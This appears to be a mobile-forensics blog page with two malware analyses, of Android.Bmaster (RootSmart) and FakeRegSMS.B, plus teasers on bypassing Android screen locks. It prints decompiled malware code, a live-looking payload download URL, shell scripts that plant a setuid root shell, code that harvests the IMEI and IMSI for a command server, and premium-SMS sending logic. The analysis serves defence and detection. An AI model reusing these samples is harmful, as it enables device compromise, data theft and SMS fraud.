mobile phone forensics and mobile malware
As you may know it is possible to get around the pin and password lock on an Android smartphone. In this post we will describe the following two ways to get around it:
Continue reading “Cracking PIN and Password Locks on Android”
As you maybe know it is very easy to get around the pattern lock on an Android smartphone. In this post we will describe the following two ways to get around it:
Since Android 4.0 is available, the user has the possibility to unlock his smartphone by looking in the front-camera. This feature is called face unlock.
Just some hours after Google has presented the new Android version including this feature, it was broken by some blogger who just hold a picture of the person the smartphone belongs to in front of the locked smartphone. As a proof, there are plenty videos on youtube. With this demonstration in mind, you have to come to the conclusion that face recognition isn’t a real lock feature, its more a fancy way of the old screen lock were you just have to swipe over the display. Continue reading “Cracking the Face Recognition Lock on Android”
Intro: What is Android.Bmaster?
This new malware-family emerged some weeks ago in third-party Chinese Android-Markets. This malware is taking advantage of the GingerBreak exploit to gain root privileges. This exploit is not embedded into the application, instead it is dynamically downloaded from a remote server together with other malicious apps. This kind of behaviour is similar to an earlier proof-of-concept application called RootStrap, developed by Jon Oberheide back in May 2011.
Android.Bmaster is also known as RootSmart. This name was given to the malware by Xuxian Jiang who found and reported the first samples in the wild.
Analysis of the Application and Its Structure
The app requests the following permissions:
After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, ACTION_SHUTDOWN, PACKAGE_ADDED or NEW_OUTGOING_CALL).
As far as we could detect, you can find all listeners and the corresponding intents afterwards:
After decompiling the dex-file we can see that the application consist of three packages:
The Malicious Actions:
Check Exploit State:
After the application receives a BOOT_COMPLETED event the BcbootReceivecr is called. This receiver broadcasts a new action called action.boot. This action sets an alarm to 60 seconds. After this time periode a new action action.check_live will be broadcasted and the method b.a() will be called.
In this method the OS version is checked against “2.3.4″ and also the existence of a file called shells is checked. If The Android version is smaller than 2.3.4 and the shells-file is not existing, the application calls the method i.a() which we will examine in the next section.
if ((Build.VERSION.RELEASE.compareTo("2.3.4") >= 0) || (s.e())){
if (!this.a.getFileStreamPath("shells").exists()){
new i(this.a).a();
}
....
Downloading the Exploit:
You can find the encrypted URL inside the file res/raw/data_3 (ED04FB6CD722B63EF117E92215337BC7358FB64F4166F4EC40C40D21E92F9036). When we decrypt this string using a fixed seed number(stored in the Android manifest file) and provide this number to the Java random number generator, we get the first part of our URL: go.docrui.com
When appending the string from the method i.a() to our decrypted URL we get the real download link: http://go.docrui.com/androidService/resources/commons/shells.zip
After the malware has downloaded this file, it checks if the md5 is equal to 6bb75a2ec3e547cc5d2848dad213f6d3. Inside this zip-file are three files (install, installapp and exploit) which we will look at in the next paragraphs.
The first file is called install. This script remounts the filesystem in read-write mode and creates a new directory afterwards (/system/xbin/smart). Inside this directory the script creates a root shell and then the filesystem is remounted read-only:
#!/data/data/com.google.android.smart/files/sh mount -o remount system /system mkdir /system/xbin/smart chown $1 /system/xbin/smart chmod 700 /system/xbin/smart cat /system/bin/sh > /system/xbin/smart/sh chown 0.0 /system/xbin/smart/sh chmod 4755 /system/xbin/smart/sh sync mount -o remount,ro system /system
The second script is called installapp. This script is a helper script which is able to write a file anywhere in the filesystem and is able to grant the +s mode to this file:
#!/system/xbin/smart/sh mount -o remount system /system cat $1 > $2 chown 0.0 $2 chmod 4755 $2 sync mount -o remount,ro system /system
The last file in this zip-file is called exploit. It’s a GingerBreak version which was compiled out-of-the-box.
Rooting the Smartphone:
In the method f.a() the app executes the helper scripts and exploits the device. Therefore it checks the ExternalStorageState, unpacks the zip-file with the help of the method s.a() and changes the access rights of the files exploit and install to 755. After executing this two files through McbainServicce.class Boolean a() the application deletes some files and tries to clean up:
if ((!str1.equals("mounted")) && (!str1.equals("mounted_ro"))){
j = 0;
if ((j == 0) || (!this.a.a.d()))
continue;
str2 = this.a.getApplicationContext().getFileStreamPath("shells").getAbsolutePath();
if (!new File(str2).exists())
continue;
str3 = this.a.getApplicationContext().getFileStreamPath("exploit").getAbsolutePath();
str4 = this.a.getApplicationContext().getFileStreamPath("install").getAbsolutePath();
}
try{
if (!new File(str3).exists())
this.a.a.a(str2, "exploit");
if (!new File(str4).exists())
this.a.a.a(str2, "install");
StringBuilder localStringBuilder1 = new StringBuilder("chmod 775 ");
localStringBuilder1.append(str3).append(" ").append(str4);
boolean bool1 = this.a.a(localStringBuilder1.toString());
if (!bool1){
this.a.a.a.a(true);
this.a.a.a.a(i + 1);
if (s.e()){
g.a(this.a.getApplicationContext()).a("3");
this.a.a.a.a("3");
}
this.a.a.a(str3);
this.a.a.a(str4);
this.a.getApplication().deleteFile("sh");
this.a.getApplication().deleteFile("boomsh");
this.a.getApplication().deleteFile("last_idx");
continue;
j = 1;
break label45;
}
....
Due to this process the app is able to install its own shell into the system. With the help of this shell, the app is able to install new packages silently. If the whole rooting process fails, the app will also try to download and install new packages. In this case the system will display a pop-up message to the user and waits for approval.
The Network Action:
The infected smartphone communicates with a remote server and sends a SOAP request to this server when connecting. This request contains a lot of privacy critical information like location, IMEI, IMSI and exact type of smartphone the app is running on (see the excerpt of method g.b() below). After the server responded to this request the smartphone connects regularly to the server to receive further commands.
public final String b(){
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append(w.a("IMEI", this.c.getString("IMEI", "")));
localStringBuilder.append(w.a("IMSI", this.c.getString("IMSI", "")));
localStringBuilder.append(w.a("TYPE_TEL", this.c.getString("TYPE_TEL", "")));
localStringBuilder.append(w.a("VERSION_TEL", this.c.getString("VERSION_TEL", "")));
localStringBuilder.append(w.a("CID", this.c.getString("CID", "")));
localStringBuilder.append(w.a("LAC", this.c.getString("LAC", "")));
localStringBuilder.append(w.a("MNC", this.c.getString("MNC", "")));
String str1 = this.c.getString("SMS_CENTER", null);
if (str1 != null)
localStringBuilder.append(w.a("SMS_CENTER", str1));
String str2 = this.c.getString("INSTALL_TYPE", null);
if (str2 != null)
localStringBuilder.append(w.a("INSTALL_TYPE", str2));
localStringBuilder.append(w.a("PID", this.c.getString("PID", "")));
localStringBuilder.append(w.a("PACKAGE_ID", this.c.getString("PACKAGE_ID", "")));
localStringBuilder.append(w.a("PACKAGE_LEVEL", this.c.getString("PACKAGE_LEVEL", "")));
localStringBuilder.append(w.a("VERSION_USER", this.c.getString("VERSION_USER", "")));
localStringBuilder.append(w.a("VERSION_OWN", this.c.getString("VERSION_OWN", "")));
localStringBuilder.append(w.a("PACKAGE_NAME", this.c.getString("PACKAGE_NAME", "")));
return localStringBuilder.toString();
}
Some Information About the Corresponding Botnet:
According to Symantec the size of the botnet is between 10.000 and 30.000 active devices which are able to generate a revenue between 1.600 and 9.000 USD per day. Another discovery from Symantec was, that the bonnet is running since September 2011 and is able to push about 27 different malicious apps to an infected device.
Sample Information:
sha256:
8cb40e8dce05482907ff83b39911831daf20e4a69ee63a6cff523c880eed1acf
md5:
f70664bb0d45665e79ba9113c5e4d0f4
Intro: What is Android.FakeRegSMS.B?
This new malware-family emerged some weeks ago in an unofficial Android-Market. It sends SMS messages to premium rated numbers and tries to hide this action from the malware investigators by using some kind of steganography.
After investigating the app, we would declare this app more as FRAUD than as real MALWARE, because the user gets a “Rules” button where he/she can see that the service will send a SMS message to a premium service.
Analysis of the Application and Its Structure
The app requests the following permission:
After the application has been installed successfully, the icon of the app shows up in the dashboard. (The icon was pixelated due to its content)
The interesting part of the application: Steganography!
The first hint that this app is doing something “strange” appears when you look at the following lines:
byte[] arrayOfByte2 = localByteArrayOutputStream1.toByteArray();
int k = paramInt + (-4 + new String(arrayOfByte2).indexOf("tEXt"));
if (k < 0)
throw new IOException("Chank tEXt not found in png");
Here it seems, that the app is searching for a special string inside a png-picture-file. After searching in the MainActivity we could extract the filename of this png-picture and the responsible lines of code:
invoke-virtual {p0}, Landroid/app/Activity;->getAssets()Landroid/content/res/AssetManager;
move-result-object v0
const-string v2, "icon.png"
invoke-virtual {v0, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v1
iget-object v0, p0, Lcom/termate/MainActivity;->d:Lcom/termate/a;
The picture that the app tries to load into a byte array, is the application's icon which can be found in different resolutions in the directories listed afterwards:
When looking at these files with a hex editor we can locate the "tEXt" chunk very quickly. This chunk of data is identical within all of these three png-files. The binary data can be seen in the next picture:
Normally, this chunk is only allowed to contain printable Latin-1 characters and spaces. In our case there is binary data which looks very suspicious under this circumstances. When looking again in the code of the class-file we can find the following code snippet:
ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i1 = i; ; i1++)
{
int i2 = (byte)localDataInputStream1.read();
if (i2 == -1)
break;
localByteArrayOutputStream2.write(i2 ^ "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".charAt(i1 % "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43".length()));
}
These code snippet shows that the app is reading every single byte of the tEXt chunk and is doing a XOR operation with a hardcoded key: f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43
To get the unobfuscated values of the tEXt chunk we are using the python script below.
#!/usr/bin/python
key = "f_+wqlfh4 @312!@#DSAD fh8w3hf43f@#$! r43"
length = len(key)
obfuscatedData = "\x66\x5E\x2B\x7E\x45\x5E\x56\x48\x05\x10\x70\x07\x09\x32\x25\x75\x12\x75\x62\x41\xD2\x20\x60\x68\x31\x05\x56\x19\x13\x51\x40\x12\x0E\x4C\x24\x20\x11\x72\x38\x5E\x07\x27\x79\x12\x00\x19\x03\x1B\x40\x6E\x2F\x33\x35\x53\x54\x34\x4C\x44\x5A\x22\x2B\x53\x12\x24\x51\x1A\x5A\x1C\x66\x37\x02\x53\x70\x23\x2B\x42\x4F\x01\x40\x7F\x0F\x32\x42\x03\x21\x09\x14\x01\x5B\x44\x40\x36\x09\x04\x15\x70\x13\x44\x5B\x32\x29\x53\x22\x0D\x54\x16\x4A\x68\x64\x05\x06\x66\x47\x50\x49\x52\x64\x13\x40\x52\x66\x7E\x47\x42\x49\x5B\x54\x5E\x04\x10\x78\x0B\x04\x04\x18\x77\x12\x76\x65\x72\x7C\x17\x52\x59\x0E\x4E\x07\x5F\x53\x06\x05\x51\x76\x13\x48\x15\x70\x8F\x09"
unObfuscatedData = ""
for x, y in enumerate(obfuscatedData):
keyIndex = x % length
unObfuscatedData = unObfuscatedData + chr(ord(y) ^ ord(key[keyIndex]))
print "unobfuscated data: " + unObfuscatedData
After running this small python script we receive the following output:
420 100485111? requestNo1 maxRequestNoauto costLimit150 costLimitPeriod8640 smsDelay15 smsData!l5872600885697126387416947526760l4P?=
With this unobfuscated strings, the following few lines of code of the class-file make some more sense:
if (i < i5){
String str;
try{
str = localDataInputStream2.readUTF();
if (str.equals("costLimit")){
this.d = Integer.parseInt(localDataInputStream2.readUTF());
break label519;
}
if (str.equals("costLimitPeriod"))
this.e = Integer.parseInt(localDataInputStream2.readUTF());
}
catch (IOException localIOException){
localIOException.printStackTrace();
break label519;
if (str.equals("smsData"))
this.f = localDataInputStream2.readUTF();
}
catch (NumberFormatException localNumberFormatException){
localNumberFormatException.printStackTrace();
}
if (str.equals("smsDelay"))
this.h = Integer.parseInt(localDataInputStream2.readUTF());
else
this.g.put(str, localDataInputStream2.readUTF());
}
With the output of our python script we get some values for the variables used in the code snippet above:
Looking again in our class-file we can extract this code snippet indicating that the application is trying to send a SMS message:
private static boolean a(String paramString1, String paramString2){
try{
SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, null, null);
return true;
}
catch (Exception localException){
while (true)
Log.e("Logic", "Error sending sms", localException);
}
}
After we found all these data, we were running the app in the Android emulator to proof our assumptions. When pushing the "Next" button in the main UI (see the picture in the middle of the first figure) the emulator logs an outgoing SMS message:
Decoding the PDU message in this figure we get the following information which is in conformity with our data we encoded from the tEXt chunk of the png-picture:
After some investigation, we think that the phone numer 5111 belongs to a service called smscoin, allowing users to donate money to another user via SMS messages. Looking at the "Rules" of the app, the amount of money the user donates to the app author (erohit.biz) is between 15 and 400 Russian ruble.
Sample Information:
sha256:
8a8a246eea40e49b1aaad23fd867b8a9faeb936fe020ba5ce43b4547331a63ea
md5:
41ca3efde1fb6228a3ea13db67bd0722